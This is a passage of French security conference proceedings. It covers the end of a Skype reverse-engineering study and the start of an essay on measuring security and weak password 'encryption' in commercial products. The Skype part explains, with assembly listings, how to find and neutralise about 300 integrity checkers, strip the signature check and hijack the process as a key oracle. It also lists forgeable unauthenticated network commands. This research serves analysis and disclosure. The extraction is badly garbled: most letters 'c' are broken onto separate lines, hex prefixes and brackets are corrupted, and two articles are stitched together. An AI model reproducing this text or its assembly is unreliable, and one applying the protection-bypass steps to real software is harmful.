
jmp random_mapped_page

Mais 
ette te
hnique peut également être 
ontournée. En e�et la page sto
kant les o
tets de


odes aléatoires peut être tra
ée depuis sa 
réation 
ar elle possède 
ertaines 
ara
téristiques : elle

a une taille bien spé
i�que, ses attributs sont le
ture, é
riture, et exé
ution. On peut alors voir où

est 
réé 
ette page, voir ainsi où elle est utilisée, et don
 remonter jusqu'au test de déte
tion de

debugger.
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2.4 Intégrité du 
ode

Cette prote
tion est des plus intéressants. Un véri�
ateur d'intégrité est une partie de 
ode

qui va véri�er que d'autres parties de 
ode sensibles ne sont pas altérées. Ce
i est réalisé de façon

simple : on somme les o
tets de 
odes sensibles, et on 
ompare ave
 la valeur 
al
ulée sur le 
ode

intègre. Si 
ette valeur est la même, le 
ode est bon, sinon, 
'est que le 
ode a été modi�é. En

pratique, l'opération réalisée sur les o
tets n'est pas for
ement une addition, plut�t une opération

logique (xor, et
).

Ce qui est intéressant dans Skype est que 
ette méthode est utilisée moult fois : il y a environ

300 véri�
ateurs de 
ode dans Skype. Mais 
omment les déte
ter ?

Tout d'abord, il faut étudier son ennemi : voila en détail un de 
es véri�
ateurs de 
ode :

start:

xor edi, edi

add edi, Ox688E5C

mov eax, Ox320E83

xor eax, Ox1C4C4

mov ebx, eax

add ebx, OxFFCC5AFD

loop_start:

mov e
x, [edi+Ox10℄

jmp lbl1

db Ox19

lbl1:

sub eax, e
x

sub edi, 1

de
 ebx

jnz loop_start

jmp lbl2

db Ox73

lbl2:

jmp lbl3

dd OxC8528417, OxD8FBBD1, OxA36CFB2F, OxE8D6E4B7, OxC0B8797A

db Ox61, OxBD

lbl3:

sub eax, Ox4C49F346

On peut voir que la première partie (des lignes start à loop_start) n'est autre qu'une simple

initialisation de pointeur sur l'adresse du 
ode à véri�er (sto
kée i
i dans le registre edi). Toute


es opérations logiques et arithmétiques autour de 
e pointeur (pouvant se résumer à une simple

a�e
tation) sont justement i
i présentes pour 
amou�er la valeur �nale du pointeur. Ainsi, des outils


omme IDA qui mettent en exergue les relations entre 
ode pointant et 
ode pointé ne montrent

pas au premier abord la relation entre 
ette partie de 
ode et les o
tets de 
ode véri�és par lui.

Notez aussi que le programme initialise un deuxième registre (ebx ) 
ontenant le nombre d'o
tets à

sommer. La bou
le, allant de loop_start à lbl2, 
ontient :

� une le
ture de zone mémoire (permettant de lire les o
tets de 
odes) ;

� un opération logique/arithmétique, permettant de sommer les o
tets ;
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� une mise à jour du pointeur de 
ode ;

� un test de terminaison de la bou
le.

On peut noter en 
omparant plusieurs 
he
ksums de 
ode, des di�éren
es : l'initialisation de

pointeur (di�érentes opérations utilisées), le pas d'in
rémentation de la bou
le (plus ou moins

grand, voire négatif), l'opération faite entre les o
tets de 
odes. Ces 
he
ksums ont don
 une 
ertaine

propriété de polymorphisme. Si nous voulons déte
ter une instan
e de 
e 
ode parmi le 
ode utile

du programme il nous faut é
rire un s
ript déte
tant uniquement les grandes 
ara
téristiques de


es 
he
ksums (désignés par les quatre points plus hauts).

Le but est don
 de 
onstruire un s
ript qui repère :

� l'initialisation de pointeur sur une zone de 
ode ;

� une le
ture en mémoire ;

� des opérations arithmétiques/logiques ;

� un test de terminaison de bou
le.

Grâ
e à un tel s
ript, on peut retrouver l'empla
ement de tous les 
he
ksums de 
ode (de 
e type

tout du moins). On se rend 
ompte i
i que leurs empla
ements ont été 
hoisis de manière aléatoire.

Ce
i rend d'autant plus di�
ile leurs déte
tions par analyse dynamique, 
ar étant insérés dans des

fon
tions au hasard, ils peuvent être exé
utés à tout moment (ou n'être jamais exé
utés s'ils sont

insérés dans du 
ode mort).

La question suivante est 
omment éradiquer 
es 
he
ksums dans le but de pouvoir modi�er/éditer

le programme sans qu'ils ne 
orrompent son exé
ution ? Une solution serait de rempla
er toute la

bou
le de 
al
ul par une a�e
tion simple du registre représentant le 
he
ksum par sa valeur originale,


'est à dire la bonne valeur du 
he
ksum. Mais pour remplir 
es 
onditions, nous avons besoin de


onnaître 
ette valeur. Celle-
i peut être 
al
ulée en émulant le 
ode d'un 
he
ksum donné. Dans

le 
as ou le 
ode ferait une simple véri�
ation entre la valeur du 
he
ksum et le vrai 
he
ksum, il

serait fa
ile de modi�er le programme pour annihiler tous 
es tests. Mais i
i, 
omme le 
ode utilise

les résultats de 
he
ksums pour 
al
uler des pointeurs utilisés plus tard dans le programme, nous

n'avons pas d'informations sur 
es valeurs �nales.

On a�ne notre s
ript de telle façon :

� pour tous les 
he
k
um ;

� émuler le 
ode du 
he
ksum ;

� ré
upérer la valeur 
al
ulée par l'émulateur ;

� rempla
er la bou
le de 
ode par une a�e
tation utilisant 
ette valeur 
al
ulée.

Ainsi, tous les véri�
ateurs de 
ode sont rendus inutiles. De plus, le programme �nal 
onsomme

beau
oup moins de ressour
e pro
esseur puisque les bou
les ne sont pas exé
utées. Le 
ode suivant

montre un véri�
ateur de 
ode après modi�
ation :

start:

xor edi, edi

add edi, Ox688E5C

mov eax, Ox320E83

xor eax, Ox1C4C4

mov ebx, eax

add ebx, OxFFCC5AFD

loop_start:

mov e
x, [edi+Ox10℄

jmp lbl1
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db Ox19

lbl1:

mov eax, Ox4C49F311

nop

nop

nop

nop

nop

nop

jmp lbl2

db Ox73

lbl2:

jmp lbl3

dd OxC8528417, OxD8FBBD1, OxA36CFB2F, OxE8D6E4B7, OxC0B8797A

db Ox61, OxBD

lbl3:

sub eax, Ox4C49F346

Une information intéressante peut être retrouvée grâ
e à 
e mé
anisme : 
omme nous émulons


haque 
he
ksum, nous 
onnaissons quelle partie est véri�ée par quels 
he
ksums. Il est amusant

de noter que le prin
ipe de base utilisé est qu'un 
he
ksum A véri�e un 
he
ksum B, qui véri�e à

son tour une partie C. De plus, 
ette partie de 
ode C est véri�ée par plusieurs autres 
ouples de


he
ksums de 
ode. Un peu 
omme si une 
améra �lmait un 
o�re fort (assurant son intégrité) et

qu'une deuxième 
améra �lmait la première 
améra.

Mais le travail n'est pas terminé : il reste un dernier 
he
ksum de 
ode global (sur l'ensemble

du binaire) véri�ant le binaire par signature numérique : le programme 
ontient une signature

garantissant (par l'autorité de 
erti�
ation Skype) que le hash de la se
tion de 
ode 
orrespond

bien à 
elle délivrée par les développeurs du 
ode.

lea eax, [ebp+var_C℄

mov edx, offset a65537 ; "65537"


all str_to_bignum

lea eax, [ebp+var_10℄

mov edx, offset a38133593136037 ; "38133593136037677542"...


all str_to_bignum

I
i, nous ne 
onnaissons pas la 
lé privée permettant de regénérer une signature pour notre

binaire modi�é, mais une simple suppression de 
e test permet d'obtenir un binaire fon
tionnel.

2.5 Obs
ur
issement de 
ode

Une autre méthode anti reverse engineering utilisée dans Skype est l'obs
ur
issement. Celle-
i

peut être 
atégorisée dans deux familles : l'obs
ur
issement au niveau assembleur, et l'obs
ur
isse-

ment au niveau de l'algorithme.

L'obs
ur
issement au niveau de l'assembleur est fondé sur l'amon
ellement de plusieurs petits

obs
ur
issement. Tout d'abord, un peu à la manière des 
he
ksums, le binaire tente de 
amou�er

des 
onstantes par le résultat d'un 
al
uls arithmétique/logique. Voila un exemple de 
ode :
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Fig. 2. Véri�
ateurs de 
odes
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mov eax, 9FFB40h

sub eax, 7F80h

mov edx, 7799C1Fh

mov e
x, [ebp-14h℄


all eax ; sub_9F7BC0

neg eax

add eax, 19C87A36h

mov edx, 0CCDACEF0h

mov e
x, [ebp-14h℄


all eax ; eax = 009F8F70

I
i, on voit que l'appel à une première sous-pro
édure est fait à travers le registre eax. Mais si

on regarde attentivement le 
ode, on s'apperçoit que 
e registre est le résultat de 
al
uls sur des


onstantes. Ce
i veut dire que tous les 
al
uls e�e
tués avant l'appel de la sous-pro
édure peuvent

être rempla
és par une seule a�e
tation de 
e registre par le résultat �nal. On pourrait penser qu'une

telle transformation est inutile, sauf que 
elle-
i rend le travail d'un analyseur statique relativement

di�
ile.

sub_9F8F70:

mov eax, [e
x+34h℄

push esi

mov esi, [e
x+44h℄

sub eax, 292C1156h

add esi, eax

mov eax, 371509EBh

sub eax, edx

mov [e
x+44h℄, esi

xor eax, 40F0FC15h

pop esi

retn

Il doit se rendre 
ompte d'une part que les 
al
uls sont 
onstant, et doit e�e
tuer 
es 
al
uls

d'autre part dans le but de re
ouvrer l'adresse de la fon
tion appelée. Notez i
i que 
ette sous

fon
tion va à son tour e�e
tuer des 
al
uls pour trouver l'adresse de la deuxième sous fon
tion. Cette

transformation étant ainsi utilisée dans plusieurs sous niveau (plusieurs indire
tions) il devient très

di�
ile de déterminer tous les tenants et aboutissants d'un tel 
ode.

Une autre te
hnique est le déroutage du �ux d'exé
ution. Dans un 
ode linéaire, le �ux d'exé-


ution 
ommen
e sur une instru
tion et s'exé
ute dans le sens des adresses 
roissantes. I
i, le

programme a installé un mé
anisme qui génère volontairement une erreur . Mais plut�t que de

laisser le 
ode planter, le programme a également installé un mé
anisme permettant de ré
upérer

ses propres erreurs. Quand l'erreur a été dé
len
hée de manière volontaire, le gestionnaire d'erreur

ne rend pas la main à la pro
édure fautive mais à une autre pro
édure. Il devient don
 très di�
ile

de déterminer de manière exhaustive l'ensemble possible du �ot d'exé
ution.

lea edx, [esp+4+var_4℄

add eax, 3D4D101h

push offset area
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push edx

mov [esp+0Ch+var_4℄, eax


all RaiseEx
eption_0_

rol eax, 17h

xor eax, 350CA27h

pop e
x

Une autre te
hnique utilisée pour ralentir l'étude du 
ode est l'utilisation de 
onditions opaques.

Le prin
ipe est simple : il s'agit d'insérer dans le 
ode des faux tests responsables de l'exé
ution ou

non d'une 
ertaine partie de 
ode. Le but est de faire 
roire à l'attaquant qu'il est fa
e à un 
lassique

if/then alors que le test est de toute façon tout le temps vrai (ou tout le temps faux) 
réant don


une zone de 
ode mort. Le but est de rendre la 
ondition assez opaque pour for
er l'attaquant à

analyser le 
ode exé
uté dans les deux 
as possibles.

Le 
ode suivant a�e
te une 
onstante à une variable (�(ebp-18h)). Cette variable n'est plus

jamais a�e
tée. Plus tard, il teste si 
ette variable est nulle ou non. Si l'attaquant n'a pas noté le

fait que 
et empla
ement mémoire 
ontient de toute façon une 
onstante non nulle, il va analyser

les deux parties de 
odes.

mov dword ptr [ebp-18h℄, 4AC298ECh

...


mp dword ptr [ebp-18h℄, 0

mov eax, offset ptr

jp short near ptr lo
_9F9025+1

lo
_9F9025:

sub eax, 0B992591h

I
i, le test est un peu mieux 
a
hé : il s'agit de faire un 
al
ul mathématique (i
i un 
osinus

d'une valeur entière entre 0 et 255), et de tester si le résultat est nul. Un attaquant étourdi (ou un

outil automatique) ne saura pas déterminer si la 
ondition est un vrai 
ondition ou une 
ondition

opaque.

and eax, 0FFh

mov dword ptr [esp+8+var_8℄, eax

fild [esp+8+var_8℄

f
os

; Le 
osinus d'un entier

; entre 0 et 255 est rarement nul

f
omp float_0

fnstsw ax

test ah, 1

mov eax, 73CD560Ch

jnz short good_boy

mov eax, [e
x+10h℄

good_boy:

En langage C, voila 
e que pourrait donner une telle 
ondition :
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...

if (sin(a)==42)

{

faire_nimportequoi();

}


ontinuer();

...

Dans notre 
as, la pro
édure la plus obs
ur
ie est la pro
édure permettant de générer la 
lef de

dé
hi�rement de 
haque paquet. En e�et 
ette fon
tion est la fon
tion 
lef de Skype permettant

de 
omprendre le proto
ole. Si 
ette fon
tion est reprise par un tier
e personne, elle sait � parler �

Skype.

Vu le nombre important de modi�
ations apportées à 
ette fon
tion, il serait très long de l'étudier

dans son ensemble. La solution utilisée i
i est de transformer un 
lient Skype en ora
le générateur de


lé. Nous inje
tons dans sa mémoire un petit programme qui va venir parasiter son �ot d'exé
ution

et le rempla
er par une pro
édure qui exé
ute 
ette fon
tion de génération de 
lef de dé
hi�rement.

En 
lair, le pro
essus Skype est en mémoire, mais mort, et entièrement manipulé par une partie de


ode sous notre 
ontr�le.

Notre programme possède l'interfa
e suivante : on entre une graine sur une So
ket UNIX, notre

programme va appeler la pro
édure dans le 
orps du 
lient Skype qui génère la 
lef, il la ré
upère

et la transmet sur la sortie standard.

Code binaire

Fonction ciblée

Code binaire

Parasite

Entrée/sortie

Programme

original

Programme

"Zombifié"

Fonction ciblée

Code mort

Code actif
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2.6 Obs
ur
issement du proto
ole réseau

Une fois que le binaire est 
lair et analysable, l'étude du proto
ole réseau en elle-même peut


ommen
er. Celle-
i va tout d'abord se 
on
entrer sur le dés-obs
ur
issement.

Le prin
ipe utilisé est de 
hi�rer les paquets à l'aide d'un �ux RC4. Les ma
hines se mettent

d'a

ord sur une graine à utiliser pour générer la 
lé de 
e RC4. On voit bien i
i que le RC4 n'est

en au
un 
as utilisé pour 
hi�rer les paquets, puisque la 
lef est en 
lair, mais uniquement dans

le but de brouiller les données. À la di�éren
e, des 
lés de 
hi�rements sont é
hangées lors de


ommuni
ation ave
 un autre utilisateur assurant la 
on�dentialité des é
hanges.

UDP Le proto
ole UDP étant un mode dé
onne
té, 
ette graine est 
al
ulable à partir de 
hamps

en 
lair dans l'en-tête de 
haque paquet. Pour dé
hi�rer un paquet, Skype va d'abord générer un

CRC32 de l'adresse IP sour
e, destination, ainsi que d'un identi�
ateur de paquet. Ce CRC32 va

être xoré ave
 la 
lé 
ommune. Le résultat est ensuite passé dans la fameuse fon
tion générant alors

la 
lef du RC4.

TCP Le proto
ole TCP étant lui un mode 
onne
té, une graine de 32 bits est é
hangée et 
'est elle

qui sera passée dans la fon
tion générant un �ux RC4 qui sera utilisé pour la suite de la 
onnexion

TCP. Notez qu'une graine est 
hoisie pour l'envoi des données, et une autre pour la ré
eption des

données.

CRC32

IP DestinationIP source

IV

\x00\x00ID

clef RC4 (80 octets)

graine

transformation

Une première remarque est qu'il est fa
ile pour une personne désirant dés-o�usquer un �ux de

s'attaquer au proto
ole UDP, puisque 
haque paquet embarque sa 
lef. De plus, il est plus dur
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de tenter d'inter
epter une 
onnexion TCP si on n'é
oute pas les personnes depuis le début de la


onversation, 
ar la graine ne passe en 
lair qu'une fois, à l'initialisation de la session.

Nous avons pu voir les te
hniques permettant de protéger le binaire, ainsi que les moyens utilisés

pour obtenir un binaire �nal 
lair, et analysable. Une fois le résultat obtenu, l'étude a montré les

moyens mis en ÷uvre pour 
amou�er les données transitant sur le réseau. Une fois 
es étapes

passées, nous pouvons nous intéresser au proto
ole lui-même.

2.7 Les mé
anismes � vitaux � et détournement

Établir un réseau peer to peer aussi vaste que 
elui de Skype a né
essité l'implémentation de

plusieurs mé
anismes réseaux permettant la re
onnaissan
e des diverses parties.

Stru
ture du réseaux Le réseau est 
onstitué de n÷uds. Plusieurs n÷uds ont été élus 
omme

super n÷uds. Leur r�le est d'assurer le routage d'informations sur 
e réseaux. Ces super n÷uds

sont hiérar
hisés : ils sont regroupés en slots (environ 10 super n÷uds par slots). Ces slots sont

regroupés par blo
s. Il y a 8 slots par blo
s. Le réseau se dé
ompose en 256 blo
s.

Slot 8

Slot 15

Bloc 1

Slot 128

Slot 135

Bloc 16

Slot 0 Slot 7

Bloc 0

Notez qu'un super n÷ud a une vision totale de son environnement pro
he (son blo
) 
'est à dire

qu'il 
onnaît les IP/PORT de tous les super n÷uds qui le 
omposent, et n'a qu'une vision partielle
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du reste du réseau : il ne 
onnaît que l'IP/PORT d'un seul super n÷ud par blo
 pour le reste du

réseau.

Chaque n÷ud du réseau possède des 
ara
téristiques (NATé, Firewallé, bande passante, et
). Le

mé
anisme d'éle
tion des super n÷uds en tient 
ompte. Quand le nombre de super n÷uds d'un slot

diminue (par exemple 
ar plusieurs 
lients super n÷uds ont dé
onne
té leurs ma
hines), un super

n÷ud dé
ide d'élire un remplaçant. Celui-
i 
hoisi alors parmi sa liste de 
lients 
elui qui possède

les 
ara
téristiques favorable à son éle
tion. Il lui envoie alors une 
ommande lui demandant de

devenir super n÷ud. S'il a

epte, son IP/PORT est alors ajoutée à la liste des super n÷uds déjà

existant, et sera donnée au futurs 
lients désirant se 
onne
ter au réseaux.

Notez qu'un super n÷ud peut gérer au maximum 700 
lients simultanément.

Di�usion des informations Comme nous l'avons vu, le proto
ole Skype permet de di�user des

informations de signalisation. Une fois la 
ou
he d'obs
ur
i
ement enlevée, au
une fon
tionnalité

permettant l'authenti�
ation des données n'est faite. Ainsi, un attaquant sa
hant forger des paquets

peut à sa guise envoyer 
es 
ommandes demandant à un 
lient de 
hanger son status en super n÷ud.

Une deuxième liste est utilisée pour enregistrer les 
lients ne faisant pas ou peu de �ltrage sur

leur 
onnexion. Ceux-
i seront plus tard utilisés 
omme Relay Manager permettant d'assurer une


onne
tivité entre deux 
lients NATés. Cha
une des deux parties se 
onne
te à 
e n÷ud. Puis, les

paquets reçus par le 
lient A seront relayées au 
lient B, et les paquets reçus par le 
lient B seront

relayées au n÷ud A par le relay Manager.

Le n÷ud relais est dans l'in
apa
ité de faire une attaque de type Man in the middle 
ar les deux

parties é
hangent et véri�ent leur 
lés publiques, après quoi une 
lé de session est mise en pla
e


hi�rant leur session.

Voila une liste non exhaustive de 
ommandes pouvant être forgées et exé
utées (
ar non authen-

ti�ées) :

� Requête de 
onnexion à un super n÷ud

� Demander la liste des super n÷uds d'un blo
 i
� Demander la liste des relais

� Demander un test de 
onne
tivité sur une IP/PORT de notre 
hoix (adresse privée ou pu-

blique)

� Re
her
her et requêter la 
lef publique d'un utilisateur

� et


3 Vous avez dit fon
tionnel  ?

Cette partie détaille quelques fon
tionnements sur la 
ommuni
ation inter 
lients, et des possibles

fuites d'informations en dehors du réseau 
lient exploitant le 
�té permissif de Skype.

3.1 Ins
ription au réseau

La phase de login des utilisateurs sur le réseau est le point 
ru
ial permettant leur authen-

ti�
ation �nale. Skype embarque des 
lefs RSA publiques dans son binaire. En installant Skype,

l'utilisateur fait 
on�an
e à 
es 
lefs. Elles représentent en quelque sorte l'autorité de 
erti�
ation.

Quand un utilisateur veut se 
onne
ter, il génère tout d'abord sa propre paire de 
lefs RSA,

qui sera valide le temps de la session. Il génère également une 
lef de session symétrique S. Pour
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s'authenti�er auprès du serveur de Skype, il envoie un dérivé de son mot de passe 
hi�ré par sa 
lef

de session S, ainsi que 
ette 
lef S 
hi�rée à l'aide d'un modulo publi
 de Skype. Ces informations

sont 
ommuniquées au serveur de login. Le serveur ayant la 
lef privée asso
iée, il peut dé
hi�rer

la 
lef de session S et don
 également retrouver le dérivé du mot de passe utilisateur. Si 
elui-
i est

bon, il asso
ie la 
lef publique de l'utilisateur à son login, et distribue l'information sur le réseau.

Bien sûr, 
ette information est signée par Skype In
. À 
e stade, le 
lient vient de re
evoir un


erti�
at tout neuf signé par l'autorité de 
erti�
ation.

Login \nskyper\n mot de passe

RSA 1536 bits

Aléa 192 bits

Clef de session

clef 256 bits

Secret partagéModulo utilisateur

Chiffrement (AES 256)

Secret partagé chiffré

MD5

Clef de session chiffrée

Hash (SHA160)

Modulo de Skype

Ainsi, toute personne du réseau peut a

éder à la 
lef publique d'une tier
e personne et véri�er

son identité. L'utilisateur signe également ave
 sa 
lef privée RSA les informations le 
on
ernant :

âge, ville, prénoms, et
. Pour véri�er 
es dernières, il faut don
 demander la 
lef publique de

l'utilisateur, véri�er qu'elle est bien signée par Skype, et véri�er la signature des informations

personnelles ave
 
ette 
lef.

Lorsque deux utilisateurs veulent 
ommuniquer, 
ha
un demande tout d'abord la 
lef publique

de l'autre. Ils véri�ent ensuite que 
ette 
lef a bien été signée par l'autorité. Puis 
ha
un va envoyer

à l'autre un 
hallenge de quelques o
tets à signer. Si le 
hallenge est relevé ave
 su

ès, les deux

utilisateurs utilisent 
es 
lefs publiques pour s'é
hanger une 
lef de session.

Ce mé
anisme permet d'éviter les attaques de type Man in the middle. En e�et, même si un

relais est installé entre deux 
lients nattés, 
elui-
i ne peut mener son attaque. S'il génère une paire

de 
lef RSA, il n'a pas le mot de passe permettant de faire signer sa 
lef 
omme étant 
elle d'un

des deux utilisateurs. De plus, s'il utilise la 
lef d'un des utilisateurs, il ne 
onnaît pas le 
lef privée

asso
iée et ne peut don
 remplir le 
hallenge ou inter
epter la 
lef de session.

Tout repose bien entendu sur le fait que l'autorité de 
erti�
ation (Skype In
) n'utilise pas ses


lefs privées dans le but de détourner des 
onversations.
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4 Con
lusion

La question de savoir jusqu'où le logi
iel a le droit d'aller pour o�rir à ses utilisateurs un servi
e

reste don
 entière. Il est vrai que les fon
tionnalités d'un tel outil sont relativement plaisantes, mais

doit on favoriser le 
onfort au détriment de la sé
urité  ?
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Plus 
ela 
hange...

Pierre Vandevenne

DataRes
ue SA/NV

pierre�datares
ue.
om

Nous nous trouvons à un moment important dans l'histoire de l'informatique. Les réseaux do-

mestiques deviennent plus variés, plus 
omplexes et plus présents sur l'Internet que les réseaux

professionnels d'il y a dix ans. Ces 
on�gurations pla
ées entre les mains d'utilisateurs privés de-

viennent de plus en plus souvent des points d'entrées, dire
ts ou indire
ts, dans les réseaux des

so
iétés qui les emploient.

Dans 
e 
ontexte, avant de faire le grand bond, où tout ou presque est ou sera 
onne
té à tout

ou n'importe quoi, le � Prin
ipe de Pré
aution � voudrait que l'aspe
t sé
urité soit parfaitement

maîtrisé. Ou alors, la perfe
tion n'étant pas de 
e monde, pouvons-nous peut-être espérer que si, la

situation n'est pas idéale, nous avons quand même fait de grands progrès ? Et si le niveau global

de sé
urité n'avait pas augmenté, vers où nous dirigeons nous ? Commettons nous sans 
esse les

mêmes erreurs ?

Je souhaite, dans 
et arti
le, faire un état des lieux à la fois sérieux et taquin du monde de la

sé
urité informatique. J'espère vous distraire et, peut-être, sus
iter une ré�exion sur les pratiques

et les 
omportements, parfois automatiques, des professionnels de 
e milieu. J'avoue d'emblée une

double lâ
heté. N'attendez pas de moi de révélations te
hniques fra
assantes, qui permettraient aux


enseurs de jouer des 
iseaux ave
 le programme de 
ette 
onféren
e. C'est pourquoi les exemples que

j'ai 
hoisi pour illustrer 
ette présentation ne seront ni trop ré
ents, ni trop 
ontroversés. En outre,

en tant qu'a
teur de 
e mar
hé, je dois bien sûr ménager mes 
lients, qui se trouvent fréquemment

dans des 
amps opposés. Mer
i de votre 
ompréhension.

Je tiens aussi à vous rassurer d'emblée sur un autre point : 
ontrairement à telle solution �nale

ou tel système d'exploitation mira
le, appelé à résoudre tous les problèmes de sé
urité informatique,

il n'y a au
un risque de voir les solutions que je propose vous 
onduire au 
h�mage.

Commençons don
 par la question évoquée 
i-dessus, et voyons où elle nous mène.

Le niveau de sé
urité informatique a-t-il augmenté ou diminué ? A�n de répondre à 
ette ques-

tion, nous devons nous intéresser à la notion de mesure du niveau de la sé
urité ou de l'insé
urité

informatique.

1 Mesurer la sé
urité ?

Cons
ients de l'importan
e de la mesure du niveau de sé
urité, de nombreux a
teurs se sont atte-

lés à la tâ
he 
omplexe de la dé�nition de méthodes de mesures. Le prestigieux NIST, par exemple,

s'est fendu en 2003 d'un monumental guide intitulé � Se
urity Metri
s Guide for Information Te
h-

nology Systems �

1

. C'est méthodique et quanti�é. C'est théorique et ré�é
hi. Malheureusement,


'est lourd à mettre en oeuvre : en d'autres termes, 
'est un livre de 
hevet idéal si vous 
her
hez

à o

uper une armée de fon
tionnaires ou, mieux en
ore, si vous êtes le 
onsultant qui fa
ture la

mise en ÷uvre des véri�
ations périodiques qu'il suggère.

Ce do
ument o�re des 
onseils dont la pertinen
e ne peut que nous étourdir

1

NIST Spe
ial Publi
ation 800-55, Se
urity Metri
s Guide for Information Te
hnology Systems, 2003
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� For example, if a se
urity poli
y de�nes a spe
i�
 password 
on�guration, 
omplian
e with this

poli
y 
ould be determined by measuring the per
ent of passwords that are 
on�gured a

ording to

the poli
y. �(page 22)

Au-delà du ridi
ule intrinsèque de 
ette phrase, on ne peut s'empê
her d'éprouver un 
ertain

sentiment de � déjà-vu �. Par exemple en 1991

2

... En informatique, nous disposons d'un terme plus

sérieux pour parler de � déjà-vu �, 
'est le mot � Motif �. Il a l'avantage d'être très à la mode. Je

vais en abuser.

Craquer des mots de passe, 
'est un peu le pont-aux-ânes de la sé
urité informatique : grati�
a-

tion rapide assurée. Combien d'entre nous ont imprimé de longues listes de 
omptes d'utilisateurs

a�igés de sésames vulnérables ? Combien d'entre nous sont repassés six mois plus tard pour suivre

l'évolution de la situation ? Combien de réunions, de tours de tables et de fa
tures ?

Combien se sont posé de meilleures questions ?

� Quel est le nombre de 
ompromissions de systèmes dus à des mots de passe faibles ?

� Si, en informatique, on parle du même problème, en termes identiques, à 12 ans d'intervalle,

est-on sur la bonne voie ?

� Quel est le rapport 
oût béné�
e de 
e genre d'opération ?

� Que se passe-t-il vraiment, sous le 
apot ?

Imaginons par exemple que vous soyez responsable d'un grand h�pital. Administrateur modèle,


ons
ient à la fois des besoins en 
on�dentialité des professions que vous servez et des di�
ultés de

gérer un groupe d'utilisateurs moins intéressés par la sé
urité que par l'informatique, vous n'avez

évidemment ni le temps, ni les moyens te
hniques de véri�er en profondeur les détails te
hniques

de la solution que vous allez implémenter. Vous re
her
herez une réponse dans la presse ou, éven-

tuellement, parmi les produits � 
erti�és � utilisés par vos 
ollègues. Votre 
hoix pourrait - qui

sait - se porter sur les produits de la so
iété Bardon Data Systems. Bardon Data Systems

3

est

une so
iété dont les produits ont été ré
ompensés par la presse, qui o�re des interfa
es sé
urisées

simpli�ées qui rempla
ent l'interfa
e 
lassique de Windows. Ils ont reçu la prestigieuse approbation

HIPAA (Healt Information Portability and A

ountability A
t), 
e qui ne ga
he rien.. Sur
hargé,

vous dé�nirez une 
on�guration de base, a
hèterez votre WinU et distribuerez un mémo dé
rivant

une bonne politique de mots de passe. De temps à autre, si vous êtes vraiment 
ons
ien
ieux, vous

véri�erez ou ferez véri�er la 
omplian
e de vos utilisateurs.

Ave
 un peu de 
han
e, vous pourrez rapidement présenter un rapport 
ontenant de jolis graphes,

similaires à 
et exemple tiré de 
e do
ument du NIST et qui fait la �erté légitime de tout responsable

sé
urité qui se respe
te. Oui mais...

Les � algorithmes � utilisés par Bardon Data Systems sont désastreux

4

: jusqu'à la version 5.0

de leur produit WinU, dont plusieurs 
entaines de milliers de li
en
es ont été vendues, les mots de

passe étaient 
hi�rés selon la méthode de substitution suivante...

154 � 
ode as
ii du 
ara
tère = 
ara
tère 
hi�ré.

La version 5.1 de WinU a 
orrigé 
ette vulnérabilité en remplaçant l'algorithme 
i-dessus par


elui-
i


ode as
ii du 
ara
tère + 101 = 
ara
tère 
hi�ré.

2

Daniel V. Klein, A Survey of, and Improvements to, Password Se
urity. Software Engineering Institute,

Carnegie Mellon University, Pennsylvania. (February 22, 1991.)

3

http://www.bardon.
om/

4

http://www.se
uriteam.
om/windowsntfo
us/5HP0L152BA.html
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Est-
e une mauvaise blague ? Non, juste un exemple parmi des 
entaines, que je n'ai séle
tionné

que pour sa simpli
ité et son inno
uité � il y a peu de 
han
e qu'un représentant de la so
iété

Bardon Data Systems se trouve parmi nous aujourd'hui, m'assigne en justi
e pour avoir dénigré ses

produits. C'est que la 
erti�
ation HIPAA est 
ensée être sérieuse et que 
raquer 
e genre de 
hose,

en 2006, peut signi�er une lourde amende ou même la prison.

Quelle est l'utilité réelle, pour notre pauvre administrateur, de la véri�
ation de la 
omplian
e

à une politique de mot de passe si la � te
hnologie � sous-ja
ente est si faible ? Nous ren
ontrons

i
i, d'un 
oup, 5 motifs

� L'utilisateur normal est in
apable de juger de la validité de la te
hnologie sous-ja
ente.

� La te
hnologie sous-ja
ente, quelle que soit l'élégan
e ave
 laquelle elle a été emballée, 
raque

� au niveau de l'o
tet �, au plus bas niveau.

� Les so
iétés 
ommer
iales qui ne sont pas soumises à un 
ontr�le e�
a
e sont fort tentées

d'être in
ompétentes ou malhonnêtes.

� Les 
erti�
ations sont peu �ables ; souvent en raison du manque de 
ompéten
e des 
erti�
a-

teurs.

� Les lois peuvent servir à empê
her l'expression des quatre motifs pré
édents.

Le 
as, plus fameux, de Dmitry Sklyarov est, sous bien des aspe
ts, similaire. Imaginons que

notre administrateur, 
ons
ient des limites de sa politique de sé
urisation, ait simplement souhaité

sé
uriser les do
uments les plus importants de ses utilisateurs. Parmi les produits qu'il pourrait

avoir a
hetés, en les payants parfois très 
her, on trouve des produits qui se 
ontentent de bou
les

XOR ave
 la 
haîne � en
rypted �, 
hi�rent tous les do
uments ave
 une 
lé unique ou en
ore
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sto
kent simplement la 
lé de 
hi�rement, en 
lair, dans le do
ument lui-même

5

. Le problème est

an
ien et ré
urrent

6

. On pourrait résumer l'évolution de la façon suivante

Avant 2000 : beau
oup de programmes de � sé
urité � sont faibles. En parler provoque une

réa
tion embarrassée de l'éditeur qui assure avoir amélioré ses nouvelles versions.

Après 2000 : les programmes de sé
urité restent faibles. Dé
rire leurs vulnérabilités sus
ite les

premières réa
tions légales mus
lées. Prévoir un budget légal important. Compter sur le support de

l'opinion publique.

En 2006 : dans le 
adre légal a
tuel, démontrer la faiblesse d'un programme de � sé
urité � est

simplement devenu trop dangereux. On n'en parle don
 plus. Gageons que d'éventuelles statistiques

de solidité donneraient l'impression d'une nette amélioration des programmes...

Passons rapidement sur le reste du do
ument du NIST, 
onsa
ré en grande partie à des sug-

gestions lourdes, voire impossibles à mettre en oeuvre, et qui ignorent 
omplètement soit la réalité

sous-ja
ente, soit la vitesse d'évolution des te
hnologies.

La question initiale, qui 
on
ernait simplement la mesure de la sé
urité, nous a vite 
onduit sur

d'autres 
hemins intéressants.

2 Et les 
ommer
iaux dans tous 
ela ?

Certains d'entre-vous pensent peut-être que 
e que nous venons d'entendre relève de la bureau-


ratie et qu'il vaut mieux se tourner vers le se
teur privé, plus réa
tif et peut-être plus informé,

pour obtenir une évaluation pertinente.

2.1 Niveaux d'alertes

Il y a par exemple les niveaux d'alertes auxquels les éditeurs d'anti-virus nous ont habitué. Si

l'on note une 
ertaine responsabilisation à 
e niveau � plus personne n'oserait en 2006 nous refaire

le 
oup de � Mi
